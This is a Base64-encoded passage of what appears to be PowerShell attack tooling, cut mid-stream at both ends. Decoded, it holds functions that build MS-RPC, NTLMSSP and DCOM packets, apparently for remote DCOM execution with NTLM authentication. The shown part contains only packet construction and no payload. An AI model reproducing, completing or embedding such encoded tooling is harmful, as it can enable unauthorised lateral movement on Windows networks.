ZExlbmd0aCIsW0J5dGVbXV0oMHgwMCkpDQogICAgICAgICRwYWNrZXRfUlBDQmluZC5BZGQoIlJQQ0JpbmRfQXV0aFJlc2VydmVkIixbQnl0ZVtdXSgweDAwKSkNCiAgICAgICAgJHBhY2tldF9SUENCaW5kLkFkZCgiUlBDQmluZF9Db250ZXh0SUQ0IixbQnl0ZVtdXSgweDAwLDB4MDAsMHgwMCwweDAwKSkNCiAgICAgICAgJHBhY2tldF9SUENCaW5kLkFkZCgiUlBDQmluZF9JZGVudGlmaWVyIixbQnl0ZVtdXSgweDRlLDB4NTQsMHg0YywweDRkLDB4NTMsMHg1MywweDUwLDB4MDApKQ0KICAgICAgICAkcGFja2V0X1JQQ0JpbmQuQWRkKCJSUENCaW5kX01lc3NhZ2VUeXBlIixbQnl0ZVtdXSgweDAxLDB4MDAsMHgwMCwweDAwKSkNCiAgICAgICAgJHBhY2tldF9SUENCaW5kLkFkZCgiUlBDQmluZF9OZWdvdGlhdGVGbGFncyIsW0J5dGVbXV0oMHg5NywweDgyLDB4MDgsMHhlMikpDQogICAgICAgICRwYWNrZXRfUlBDQmluZC5BZGQoIlJQQ0JpbmRfQ2FsbGluZ1dvcmtzdGF0aW9uRG9tYWluIixbQnl0ZVtdXSgweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDApKQ0KICAgICAgICAkcGFja2V0X1JQQ0JpbmQuQWRkKCJSUENCaW5kX0NhbGxpbmdXb3Jrc3RhdGlvbk5hbWUiLFtCeXRlW11dKDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCkpDQogICAgICAgICRwYWNrZXRfUlBDQmluZC5BZGQoIlJQQ0JpbmRfT1NWZXJzaW9uIixbQnl0ZVtdXSgweDA2LDB4MDEsMHhiMSwweDFkLDB4MDAsMHgwMCwweDAwLDB4MGYpKQ0KICAgIH0NCg0KICAgIGlmKCRwYWNrZXRfY2FsbF9JRCAtZXEgMykNCiAgICB7DQogICAgICAgICRwYWNrZXRfUlBDQmluZC5BZGQoIlJQQ0JpbmRfQXV0aFR5cGUiLFtCeXRlW11dKDB4MGEpKQ0KICAgICAgICAkcGFja2V0X1JQQ0JpbmQuQWRkKCJSUENCaW5kX0F1dGhMZXZlbCIsW0J5dGVbXV0oMHgwMikpDQogICAgICAgICRwYWNrZXRfUlBDQmluZC5BZGQoIlJQQ0JpbmRfQXV0aFBhZExlbmd0aCIsW0J5dGVbXV0oMHgwMCkpDQogICAgICAgICRwYWNrZXRfUlBDQmluZC5BZGQoIlJQQ0JpbmRfQXV0aFJlc2VydmVkIixbQnl0ZVtdXSgweDAwKSkNCiAgICAgICAgJHBhY2tldF9SUENCaW5kLkFkZCgiUlBDQmluZF9Db250ZXh0SUQzIixbQnl0ZVtdXSgweDAwLDB4MDAsMHgwMCwweDAwKSkNCiAgICAgICAgJHBhY2tldF9SUENCaW5kLkFkZCgiUlBDQmluZF9JZGVudGlmaWVyIixbQnl0ZVtdXSgweDRlLDB4NTQsMHg0YywweDRkLDB4NTMsMHg1MywweDUwLDB4MDApKQ0KICAgICAgICAkcGFja2V0X1JQQ0JpbmQuQWRkKCJSUENCaW5kX01lc3NhZ2VUeXBlIixbQnl0ZVtdXSgweDAxLDB4MDAsMHgwMCwweDAwKSkNCiAgICAgICAgJHBhY2tldF9SUENCaW5kLkFkZCgiUlBDQmluZF9OZWdvdGlhdGVGbGFncyIsW0J5dGVbXV0oMHg5NywweDgyLDB4MDgsMHhlMikpDQogICAgICAgICRwYWNrZXRfUlBDQmluZC5BZGQoIlJQQ0JpbmRfQ2FsbGluZ1dvcmtzdGF0aW9uRG9tYWluIixbQnl0ZVtdXSgweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDApKQ0KICAgICAgICAkcGFja2V0X1JQQ0JpbmQuQWRkKCJSUENCaW5kX0NhbGxpbmdXb3Jrc3RhdGlvbk5hbWUiLFtCeXRlW11dKDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCkpDQogICAgICAgICRwYWNrZXRfUlBDQmluZC5BZGQoIlJQQ0JpbmRfT1NWZXJzaW9uIixbQnl0ZVtdXSgweDA2LDB4MDEsMHhiMSwweDFkLDB4MDAsMHgwMCwweDAwLDB4MGYpKQ0KICAgIH0NCg0KICAgIHJldHVybiAkcGFja2V0X1JQQ0JpbmQNCn0NCg0KZnVuY3Rpb24gR2V0LVBhY2tldFJQQ0FVVEgzKCkNCnsNCiAgICBwYXJhbShbQnl0ZVtdXSRwYWNrZXRfTlRMTVNTUCkNCg0KICAgIFtCeXRlW11dJHBhY2tldF9OVExNU1NQX2xlbmd0aCA9IFtTeXN0ZW0uQml0Q29udmVydGVyXTo6R2V0Qnl0ZXMoJHBhY2tldF9OVExNU1NQLkxlbmd0aCkNCiAgICAkcGFja2V0X05UTE1TU1BfbGVuZ3RoID0gJHBhY2tldF9OVExNU1NQX2xlbmd0aFswLDFdDQogICAgW0J5dGVbXV0kcGFja2V0X1JQQ19sZW5ndGggPSBbU3lzdGVtLkJpdENvbnZlcnRlcl06OkdldEJ5dGVzKCRwYWNrZXRfTlRMTVNTUC5MZW5ndGggKyAyOCkNCiAgICAkcGFja2V0X1JQQ19sZW5ndGggPSAkcGFja2V0X1JQQ19sZW5ndGhbMCwxXQ0KDQogICAgJHBhY2tldF9SUENBdXRoMyA9IE5ldy1PYmplY3QgU3lzdGVtLkNvbGxlY3Rpb25zLlNwZWNpYWxpemVkLk9yZGVyZWREaWN0aW9uYXJ5DQogICAgJHBhY2tldF9SUENBdXRoMy5BZGQoIlJQQ0FVVEgzX1ZlcnNpb24iLFtCeXRlW11dKDB4MDUpKQ0KICAgICRwYWNrZXRfUlBDQXV0aDMuQWRkKCJSUENBVVRIM19WZXJzaW9uTWlub3IiLFtCeXRlW11dKDB4MDApKQ0KICAgICRwYWNrZXRfUlBDQXV0aDMuQWRkKCJSUENBVVRIM19QYWNrZXRUeXBlIixbQnl0ZVtdXSgweDEwKSkNCiAgICAkcGFja2V0X1JQQ0F1dGgzLkFkZCgiUlBDQVVUSDNfUGFja2V0RmxhZ3MiLFtCeXRlW11dKDB4MDMpKQ0KICAgICRwYWNrZXRfUlBDQXV0aDMuQWRkKCJSUENBVVRIM19EYXRhUmVwcmVzZW50YXRpb24iLFtCeXRlW11dKDB4MTAsMHgwMCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfUlBDQXV0aDMuQWRkKCJSUENBVVRIM19GcmFnTGVuZ3RoIiwkcGFja2V0X1JQQ19sZW5ndGgpDQogICAgJHBhY2tldF9SUENBdXRoMy5BZGQoIlJQQ0FVVEgzX0F1dGhMZW5ndGgiLCRwYWNrZXRfTlRMTVNTUF9sZW5ndGgpDQogICAgJHBhY2tldF9SUENBdXRoMy5BZGQoIlJQQ0FVVEgzX0NhbGxJRCIsW0J5dGVbXV0oMHgwMywweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9SUENBdXRoMy5BZGQoIlJQQ0FVVEgzX01heFhtaXRGcmFnIixbQnl0ZVtdXSgweGQwLDB4MTYpKQ0KICAgICRwYWNrZXRfUlBDQXV0aDMuQWRkKCJSUENBVVRIM19NYXhSZWN2RnJhZyIsW0J5dGVbXV0oMHhkMCwweDE2KSkNCiAgICAkcGFja2V0X1JQQ0F1dGgzLkFkZCgiUlBDQVVUSDNfQXV0aFR5cGUiLFtCeXRlW11dKDB4MGEpKQ0KICAgICRwYWNrZXRfUlBDQXV0aDMuQWRkKCJSUENBVVRIM19BdXRoTGV2ZWwiLFtCeXRlW11dKDB4MDIpKQ0KICAgICRwYWNrZXRfUlBDQXV0aDMuQWRkKCJSUENBVVRIM19BdXRoUGFkTGVuZ3RoIixbQnl0ZVtdXSgweDAwKSkNCiAgICAkcGFja2V0X1JQQ0F1dGgzLkFkZCgiUlBDQVVUSDNfQXV0aFJlc2VydmVkIixbQnl0ZVtdXSgweDAwKSkNCiAgICAkcGFja2V0X1JQQ0F1dGgzLkFkZCgiUlBDQVVUSDNfQ29udGV4dElEIixbQnl0ZVtdXSgweDAwLDB4MDAsMHgwMCwweDAwKSkNCiAgICAkcGFja2V0X1JQQ0F1dGgzLkFkZCgiUlBDQVVUSDNfTlRMTVNTUCIsJHBhY2tldF9OVExNU1NQKQ0KDQogICAgcmV0dXJuICRwYWNrZXRfUlBDQXV0aDMNCn0NCg0KZnVuY3Rpb24gR2V0LVBhY2tldFJQQ1JlcXVlc3QoKQ0Kew0KICAgIHBhcmFtKFtCeXRlW11dJHBhY2tldF9mbGFncyxbSW50XSRwYWNrZXRfc2VydmljZV9sZW5ndGgsW0ludF0kcGFja2V0X2F1dGhfbGVuZ3RoLFtJbnRdJHBhY2tldF9hdXRoX3BhZGRpbmcsW0J5dGVbXV0kcGFja2V0X2NhbGxfSUQsW0J5dGVbXV0kcGFja2V0X2NvbnRleHRfSUQsW0J5dGVbXV0kcGFja2V0X29wbnVtLFtCeXRlW11dJHBhY2tldF9kYXRhKQ0KDQogICAgaWYoJHBhY2tldF9hdXRoX2xlbmd0aCAtZ3QgMCkNCiAgICB7DQogICAgICAgICRwYWNrZXRfZnVsbF9hdXRoX2xlbmd0aCA9ICRwYWNrZXRfYXV0aF9sZW5ndGggKyAkcGFja2V0X2F1dGhfcGFkZGluZyArIDgNCiAgICB9DQoNCiAgICBbQnl0ZVtdXSRwYWNrZXRfd3JpdGVfbGVuZ3RoID0gW1N5c3RlbS5CaXRDb252ZXJ0ZXJdOjpHZXRCeXRlcygkcGFja2V0X3NlcnZpY2VfbGVuZ3RoICsgMjQgKyAkcGFja2V0X2Z1bGxfYXV0aF9sZW5ndGggKyAkcGFja2V0X2RhdGEuTGVuZ3RoKQ0KICAgIFtCeXRlW11dJHBhY2tldF9mcmFnX2xlbmd0aCA9ICRwYWNrZXRfd3JpdGVfbGVuZ3RoWzAsMV0NCiAgICBbQnl0ZVtdXSRwYWNrZXRfYWxsb2NfaGludCA9IFtTeXN0ZW0uQml0Q29udmVydGVyXTo6R2V0Qnl0ZXMoJHBhY2tldF9zZXJ2aWNlX2xlbmd0aCArICRwYWNrZXRfZGF0YS5MZW5ndGgpDQogICAgW0J5dGVbXV0kcGFja2V0X2F1dGhfbGVuZ3RoID0gW1N5c3RlbS5CaXRDb252ZXJ0ZXJdOjpHZXRCeXRlcygkcGFja2V0X2F1dGhfbGVuZ3RoKQ0KICAgICRwYWNrZXRfYXV0aF9sZW5ndGggPSAkcGFja2V0X2F1dGhfbGVuZ3RoWzAsMV0NCg0KICAgICRwYWNrZXRfUlBDUmVxdWVzdCA9IE5ldy1PYmplY3QgU3lzdGVtLkNvbGxlY3Rpb25zLlNwZWNpYWxpemVkLk9yZGVyZWREaWN0aW9uYXJ5DQogICAgJHBhY2tldF9SUENSZXF1ZXN0LkFkZCgiUlBDUmVxdWVzdF9WZXJzaW9uIixbQnl0ZVtdXSgweDA1KSkNCiAgICAkcGFja2V0X1JQQ1JlcXVlc3QuQWRkKCJSUENSZXF1ZXN0X1ZlcnNpb25NaW5vciIsW0J5dGVbXV0oMHgwMCkpDQogICAgJHBhY2tldF9SUENSZXF1ZXN0LkFkZCgiUlBDUmVxdWVzdF9QYWNrZXRUeXBlIixbQnl0ZVtdXSgweDAwKSkNCiAgICAkcGFja2V0X1JQQ1JlcXVlc3QuQWRkKCJSUENSZXF1ZXN0X1BhY2tldEZsYWdzIiwkcGFja2V0X2ZsYWdzKQ0KICAgICRwYWNrZXRfUlBDUmVxdWVzdC5BZGQoIlJQQ1JlcXVlc3RfRGF0YVJlcHJlc2VudGF0aW9uIixbQnl0ZVtdXSgweDEwLDB4MDAsMHgwMCwweDAwKSkNCiAgICAkcGFja2V0X1JQQ1JlcXVlc3QuQWRkKCJSUENSZXF1ZXN0X0ZyYWdMZW5ndGgiLCRwYWNrZXRfZnJhZ19sZW5ndGgpDQogICAgJHBhY2tldF9SUENSZXF1ZXN0LkFkZCgiUlBDUmVxdWVzdF9BdXRoTGVuZ3RoIiwkcGFja2V0X2F1dGhfbGVuZ3RoKQ0KICAgICRwYWNrZXRfUlBDUmVxdWVzdC5BZGQoIlJQQ1JlcXVlc3RfQ2FsbElEIiwkcGFja2V0X2NhbGxfSUQpDQogICAgJHBhY2tldF9SUENSZXF1ZXN0LkFkZCgiUlBDUmVxdWVzdF9BbGxvY0hpbnQiLCRwYWNrZXRfYWxsb2NfaGludCkNCiAgICAkcGFja2V0X1JQQ1JlcXVlc3QuQWRkKCJSUENSZXF1ZXN0X0NvbnRleHRJRCIsJHBhY2tldF9jb250ZXh0X0lEKQ0KICAgICRwYWNrZXRfUlBDUmVxdWVzdC5BZGQoIlJQQ1JlcXVlc3RfT3BudW0iLCRwYWNrZXRfb3BudW0pDQoNCiAgICBpZigkcGFja2V0X2RhdGEuTGVuZ3RoKQ0KICAgIHsNCiAgICAgICAgJHBhY2tldF9SUENSZXF1ZXN0LkFkZCgiUlBDUmVxdWVzdF9EYXRhIiwkcGFja2V0X2RhdGEpDQogICAgfQ0KDQogICAgcmV0dXJuICRwYWNrZXRfUlBDUmVxdWVzdA0KfQ0KDQpmdW5jdGlvbiBHZXQtUGFja2V0UlBDQWx0ZXJDb250ZXh0KCkNCnsNCiAgICBwYXJhbShbQnl0ZVtdXSRwYWNrZXRfYXNzb2NfZ3JvdXAsW0J5dGVbXV0kcGFja2V0X2NhbGxfSUQsW0J5dGVbXV0kcGFja2V0X2NvbnRleHRfSUQsW0J5dGVbXV0kcGFja2V0X2ludGVyZmFjZV9VVUlEKQ0KDQogICAgJHBhY2tldF9SUENBbHRlckNvbnRleHQgPSBOZXctT2JqZWN0IFN5c3RlbS5Db2xsZWN0aW9ucy5TcGVjaWFsaXplZC5PcmRlcmVkRGljdGlvbmFyeQ0KICAgICRwYWNrZXRfUlBDQWx0ZXJDb250ZXh0LkFkZCgiUlBDQWx0ZXJDb250ZXh0X1ZlcnNpb24iLFtCeXRlW11dKDB4MDUpKQ0KICAgICRwYWNrZXRfUlBDQWx0ZXJDb250ZXh0LkFkZCgiUlBDQWx0ZXJDb250ZXh0X1ZlcnNpb25NaW5vciIsW0J5dGVbXV0oMHgwMCkpDQogICAgJHBhY2tldF9SUENBbHRlckNvbnRleHQuQWRkKCJSUENBbHRlckNvbnRleHRfUGFja2V0VHlwZSIsW0J5dGVbXV0oMHgwZSkpDQogICAgJHBhY2tldF9SUENBbHRlckNvbnRleHQuQWRkKCJSUENBbHRlckNvbnRleHRfUGFja2V0RmxhZ3MiLFtCeXRlW11dKDB4MDMpKQ0KICAgICRwYWNrZXRfUlBDQWx0ZXJDb250ZXh0LkFkZCgiUlBDQWx0ZXJDb250ZXh0X0RhdGFSZXByZXNlbnRhdGlvbiIsW0J5dGVbXV0oMHgxMCwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9SUENBbHRlckNvbnRleHQuQWRkKCJSUENBbHRlckNvbnRleHRfRnJhZ0xlbmd0aCIsW0J5dGVbXV0oMHg0OCwweDAwKSkNCiAgICAkcGFja2V0X1JQQ0FsdGVyQ29udGV4dC5BZGQoIlJQQ0FsdGVyQ29udGV4dF9BdXRoTGVuZ3RoIixbQnl0ZVtdXSgweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfUlBDQWx0ZXJDb250ZXh0LkFkZCgiUlBDQWx0ZXJDb250ZXh0X0NhbGxJRCIsJHBhY2tldF9jYWxsX0lEKQ0KICAgICRwYWNrZXRfUlBDQWx0ZXJDb250ZXh0LkFkZCgiUlBDQWx0ZXJDb250ZXh0X01heFhtaXRGcmFnIixbQnl0ZVtdXSgweGQwLDB4MTYpKQ0KICAgICRwYWNrZXRfUlBDQWx0ZXJDb250ZXh0LkFkZCgiUlBDQWx0ZXJDb250ZXh0X01heFJlY3ZGcmFnIixbQnl0ZVtdXSgweGQwLDB4MTYpKQ0KICAgICRwYWNrZXRfUlBDQWx0ZXJDb250ZXh0LkFkZCgiUlBDQWx0ZXJDb250ZXh0X0Fzc29jR3JvdXAiLCRwYWNrZXRfYXNzb2NfZ3JvdXApDQogICAgJHBhY2tldF9SUENBbHRlckNvbnRleHQuQWRkKCJSUENBbHRlckNvbnRleHRfTnVtQ3R4SXRlbXMiLFtCeXRlW11dKDB4MDEpKQ0KICAgICRwYWNrZXRfUlBDQWx0ZXJDb250ZXh0LkFkZCgiUlBDQWx0ZXJDb250ZXh0X1Vua25vd24iLFtCeXRlW11dKDB4MDAsMHgwMCwweDAwKSkNCiAgICAkcGFja2V0X1JQQ0FsdGVyQ29udGV4dC5BZGQoIlJQQ0FsdGVyQ29udGV4dF9Db250ZXh0SUQiLCRwYWNrZXRfY29udGV4dF9JRCkNCiAgICAkcGFja2V0X1JQQ0FsdGVyQ29udGV4dC5BZGQoIlJQQ0FsdGVyQ29udGV4dF9OdW1UcmFuc0l0ZW1zIixbQnl0ZVtdXSgweDAxKSkNCiAgICAkcGFja2V0X1JQQ0FsdGVyQ29udGV4dC5BZGQoIlJQQ0FsdGVyQ29udGV4dF9Vbmtub3duMiIsW0J5dGVbXV0oMHgwMCkpDQogICAgJHBhY2tldF9SUENBbHRlckNvbnRleHQuQWRkKCJSUENBbHRlckNvbnRleHRfSW50ZXJmYWNlIiwkcGFja2V0X2ludGVyZmFjZV9VVUlEKQ0KICAgICRwYWNrZXRfUlBDQWx0ZXJDb250ZXh0LkFkZCgiUlBDQWx0ZXJDb250ZXh0X0ludGVyZmFjZVZlciIsW0J5dGVbXV0oMHgwMCwweDAwKSkNCiAgICAkcGFja2V0X1JQQ0FsdGVyQ29udGV4dC5BZGQoIlJQQ0FsdGVyQ29udGV4dF9JbnRlcmZhY2VWZXJNaW5vciIsW0J5dGVbXV0oMHgwMCwweDAwKSkNCiAgICAkcGFja2V0X1JQQ0FsdGVyQ29udGV4dC5BZGQoIlJQQ0FsdGVyQ29udGV4dF9UcmFuc2ZlclN5bnRheCIsW0J5dGVbXV0oMHgwNCwweDVkLDB4ODgsMHg4YSwweGViLDB4MWMsMHhjOSwweDExLDB4OWYsMHhlOCwweDA4LDB4MDAsMHgyYiwweDEwLDB4NDgsMHg2MCkpDQogICAgJHBhY2tldF9SUENBbHRlckNvbnRleHQuQWRkKCJSUENBbHRlckNvbnRleHRfVHJhbnNmZXJTeW50YXhWZXIiLFtCeXRlW11dKDB4MDIsMHgwMCwweDAwLDB4MDApKQ0KDQogICAgcmV0dXJuICRwYWNrZXRfUlBDQWx0ZXJDb250ZXh0DQp9DQoNCmZ1bmN0aW9uIEdldC1QYWNrZXROVExNU1NQVmVyaWZpZXIoKQ0Kew0KICAgIHBhcmFtKFtJbnRdJHBhY2tldF9hdXRoX3BhZGRpbmcsW0J5dGVbXV0kcGFja2V0X2F1dGhfbGV2ZWwsW0J5dGVbXV0kcGFja2V0X3NlcXVlbmNlX251bWJlcikNCg0KICAgICRwYWNrZXRfTlRMTVNTUFZlcmlmaWVyID0gTmV3LU9iamVjdCBTeXN0ZW0uQ29sbGVjdGlvbnMuU3BlY2lhbGl6ZWQuT3JkZXJlZERpY3Rpb25hcnkNCg0KICAgIGlmKCRwYWNrZXRfYXV0aF9wYWRkaW5nIC1lcSA0KQ0KICAgIHsNCiAgICAgICAgJHBhY2tldF9OVExNU1NQVmVyaWZpZXIuQWRkKCJOVExNU1NQVmVyaWZpZXJfQXV0aFBhZGRpbmciLFtCeXRlW11dKDB4MDAsMHgwMCwweDAwLDB4MDApKQ0KICAgICAgICBbQnl0ZVtdXSRwYWNrZXRfYXV0aF9wYWRfbGVuZ3RoID0gMHgwNA0KICAgIH0NCiAgICBlbHNlaWYoJHBhY2tldF9hdXRoX3BhZGRpbmcgLWVxIDgpDQogICAgew0KICAgICAgICAkcGFja2V0X05UTE1TU1BWZXJpZmllci5BZGQoIk5UTE1TU1BWZXJpZmllcl9BdXRoUGFkZGluZyIsW0J5dGVbXV0oMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwKSkNCiAgICAgICAgW0J5dGVbXV0kcGFja2V0X2F1dGhfcGFkX2xlbmd0aCA9IDB4MDgNCiAgICB9DQogICAgZWxzZWlmKCRwYWNrZXRfYXV0aF9wYWRkaW5nIC1lcSAxMikNCiAgICB7DQogICAgICAgICRwYWNrZXRfTlRMTVNTUFZlcmlmaWVyLkFkZCgiTlRMTVNTUFZlcmlmaWVyX0F1dGhQYWRkaW5nIixbQnl0ZVtdXSgweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCkpDQogICAgICAgIFtCeXRlW11dJHBhY2tldF9hdXRoX3BhZF9sZW5ndGggPSAweDBjDQogICAgfQ0KICAgIGVsc2UNCiAgICB7DQogICAgICAgIFtCeXRlW11dJHBhY2tldF9hdXRoX3BhZF9sZW5ndGggPSAweDAwDQogICAgfQ0KDQogICAgJHBhY2tldF9OVExNU1NQVmVyaWZpZXIuQWRkKCJOVExNU1NQVmVyaWZpZXJfQXV0aFR5cGUiLFtCeXRlW11dKDB4MGEpKQ0KICAgICRwYWNrZXRfTlRMTVNTUFZlcmlmaWVyLkFkZCgiTlRMTVNTUFZlcmlmaWVyX0F1dGhMZXZlbCIsJHBhY2tldF9hdXRoX2xldmVsKQ0KICAgICRwYWNrZXRfTlRMTVNTUFZlcmlmaWVyLkFkZCgiTlRMTVNTUFZlcmlmaWVyX0F1dGhQYWRMZW4iLCRwYWNrZXRfYXV0aF9wYWRfbGVuZ3RoKQ0KICAgICRwYWNrZXRfTlRMTVNTUFZlcmlmaWVyLkFkZCgiTlRMTVNTUFZlcmlmaWVyX0F1dGhSZXNlcnZlZCIsW0J5dGVbXV0oMHgwMCkpDQogICAgJHBhY2tldF9OVExNU1NQVmVyaWZpZXIuQWRkKCJOVExNU1NQVmVyaWZpZXJfQXV0aENvbnRleHRJRCIsW0J5dGVbXV0oMHgwMCwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9OVExNU1NQVmVyaWZpZXIuQWRkKCJOVExNU1NQVmVyaWZpZXJfTlRMTVNTUFZlcmlmaWVyVmVyc2lvbk51bWJlciIsW0J5dGVbXV0oMHgwMSwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9OVExNU1NQVmVyaWZpZXIuQWRkKCJOVExNU1NQVmVyaWZpZXJfTlRMTVNTUFZlcmlmaWVyQ2hlY2tzdW0iLFtCeXRlW11dKDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9OVExNU1NQVmVyaWZpZXIuQWRkKCJOVExNU1NQVmVyaWZpZXJfTlRMTVNTUFZlcmlmaWVyU2VxdWVuY2VOdW1iZXIiLCRwYWNrZXRfc2VxdWVuY2VfbnVtYmVyKQ0KDQogICAgcmV0dXJuICRwYWNrZXRfTlRMTVNTUFZlcmlmaWVyDQp9DQoNCmZ1bmN0aW9uIEdldC1QYWNrZXREQ09NUmVtUXVlcnlJbnRlcmZhY2UoKQ0Kew0KICAgIHBhcmFtKFtCeXRlW11dJHBhY2tldF9jYXVzYWxpdHlfSUQsW0J5dGVbXV0kcGFja2V0X0lQSUQsW0J5dGVbXV0kcGFja2V0X0lJRCkNCg0KICAgICRwYWNrZXRfRENPTVJlbVF1ZXJ5SW50ZXJmYWNlID0gTmV3LU9iamVjdCBTeXN0ZW0uQ29sbGVjdGlvbnMuU3BlY2lhbGl6ZWQuT3JkZXJlZERpY3Rpb25hcnkNCiAgICAkcGFja2V0X0RDT01SZW1RdWVyeUludGVyZmFjZS5BZGQoIkRDT01SZW1RdWVyeUludGVyZmFjZV9WZXJzaW9uTWFqb3IiLFtCeXRlW11dKDB4MDUsMHgwMCkpDQogICAgJHBhY2tldF9EQ09NUmVtUXVlcnlJbnRlcmZhY2UuQWRkKCJEQ09NUmVtUXVlcnlJbnRlcmZhY2VfVmVyc2lvbk1pbm9yIixbQnl0ZVtdXSgweDA3LDB4MDApKQ0KICAgICRwYWNrZXRfRENPTVJlbVF1ZXJ5SW50ZXJmYWNlLkFkZCgiRENPTVJlbVF1ZXJ5SW50ZXJmYWNlX0ZsYWdzIixbQnl0ZVtdXSgweDAwLDB4MDAsMHgwMCwweDAwKSkNCiAgICAkcGFja2V0X0RDT01SZW1RdWVyeUludGVyZmFjZS5BZGQoIkRDT01SZW1RdWVyeUludGVyZmFjZV9SZXNlcnZlZCIsW0J5dGVbXV0oMHgwMCwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9EQ09NUmVtUXVlcnlJbnRlcmZhY2UuQWRkKCJEQ09NUmVtUXVlcnlJbnRlcmZhY2VfQ2F1c2FsaXR5SUQiLCRwYWNrZXRfY2F1c2FsaXR5X0lEKQ0KICAgICRwYWNrZXRfRENPTVJlbVF1ZXJ5SW50ZXJmYWNlLkFkZCgiRENPTVJlbVF1ZXJ5SW50ZXJmYWNlX1Jlc2VydmVkMiIsW0J5dGVbXV0oMHgwMCwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9EQ09NUmVtUXVlcnlJbnRlcmZhY2UuQWRkKCJEQ09NUmVtUXVlcnlJbnRlcmZhY2VfSVBJRCIsJHBhY2tldF9JUElEKQ0KICAgICRwYWNrZXRfRENPTVJlbVF1ZXJ5SW50ZXJmYWNlLkFkZCgiRENPTVJlbVF1ZXJ5SW50ZXJmYWNlX1JlZnMiLFtCeXRlW11dKDB4MDUsMHgwMCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfRENPTVJlbVF1ZXJ5SW50ZXJmYWNlLkFkZCgiRENPTVJlbVF1ZXJ5SW50ZXJmYWNlX0lJRHMiLFtCeXRlW11dKDB4MDEsMHgwMCkpDQogICAgJHBhY2tldF9EQ09NUmVtUXVlcnlJbnRlcmZhY2UuQWRkKCJEQ09NUmVtUXVlcnlJbnRlcmZhY2VfVW5rbm93biIsW0J5dGVbXV0oMHgwMCwweDAwLDB4MDEsMHgwMCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfRENPTVJlbVF1ZXJ5SW50ZXJmYWNlLkFkZCgiRENPTVJlbVF1ZXJ5SW50ZXJmYWNlX0lJRCIsJHBhY2tldF9JSUQpDQoNCiAgICByZXR1cm4gJHBhY2tldF9EQ09NUmVtUXVlcnlJbnRlcmZhY2UNCn0NCg0KZnVuY3Rpb24gR2V0LVBhY2tldERDT01SZW1SZWxlYXNlKCkNCnsNCiAgICBwYXJhbShbQnl0ZVtdXSRwYWNrZXRfY2F1c2FsaXR5X0lELFtCeXRlW11dJHBhY2tldF9JUElELFtCeXRlW11dJHBhY2tldF9JUElEMikNCg0KICAgICRwYWNrZXRfRENPTVJlbVJlbGVhc2UgPSBOZXctT2JqZWN0IFN5c3RlbS5Db2xsZWN0aW9ucy5TcGVjaWFsaXplZC5PcmRlcmVkRGljdGlvbmFyeQ0KICAgICRwYWNrZXRfRENPTVJlbVJlbGVhc2UuQWRkKCJEQ09NUmVtUmVsZWFzZV9WZXJzaW9uTWFqb3IiLFtCeXRlW11dKDB4MDUsMHgwMCkpDQogICAgJHBhY2tldF9EQ09NUmVtUmVsZWFzZS5BZGQoIkRDT01SZW1SZWxlYXNlX1ZlcnNpb25NaW5vciIsW0J5dGVbXV0oMHgwNywweDAwKSkNCiAgICAkcGFja2V0X0RDT01SZW1SZWxlYXNlLkFkZCgiRENPTVJlbVJlbGVhc2VfRmxhZ3MiLFtCeXRlW11dKDB4MDAsMHgwMCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfRENPTVJlbVJlbGVhc2UuQWRkKCJEQ09NUmVtUmVsZWFzZV9SZXNlcnZlZCIsW0J5dGVbXV0oMHgwMCwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9EQ09NUmVtUmVsZWFzZS5BZGQoIkRDT01SZW1SZWxlYXNlX0NhdXNhbGl0eUlEIiwkcGFja2V0X2NhdXNhbGl0eV9JRCkNCiAgICAkcGFja2V0X0RDT01SZW1SZWxlYXNlLkFkZCgiRENPTVJlbVJlbGVhc2VfUmVzZXJ2ZWQyIixbQnl0ZVtdXSgweDAwLDB4MDAsMHgwMCwweDAwKSkNCiAgICAkcGFja2V0X0RDT01SZW1SZWxlYXNlLkFkZCgiRENPTVJlbVJlbGVhc2VfVW5rbm93biIsW0J5dGVbXV0oMHgwMiwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9EQ09NUmVtUmVsZWFzZS5BZGQoIkRDT01SZW1SZWxlYXNlX0ludGVyZmFjZVJlZnMiLFtCeXRlW11dKDB4MDIsMHgwMCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfRENPTVJlbVJlbGVhc2UuQWRkKCJEQ09NUmVtUmVsZWFzZV9JUElEIiwkcGFja2V0X0lQSUQpDQogICAgJHBhY2tldF9EQ09NUmVtUmVsZWFzZS5BZGQoIkRDT01SZW1SZWxlYXNlX1B1YmxpY1JlZnMiLFtCeXRlW11dKDB4MDUsMHgwMCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfRENPTVJlbVJlbGVhc2UuQWRkKCJEQ09NUmVtUmVsZWFzZV9Qcml2YXRlUmVmcyIsW0J5dGVbXV0oMHgwMCwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9EQ09NUmVtUmVsZWFzZS5BZGQoIkRDT01SZW1SZWxlYXNlX0lQSUQyIiwkcGFja2V0X0lQSUQyKQ0KICAgICRwYWNrZXRfRENPTVJlbVJlbGVhc2UuQWRkKCJEQ09NUmVtUmVsZWFzZV9QdWJsaWNSZWZzMiIsW0J5dGV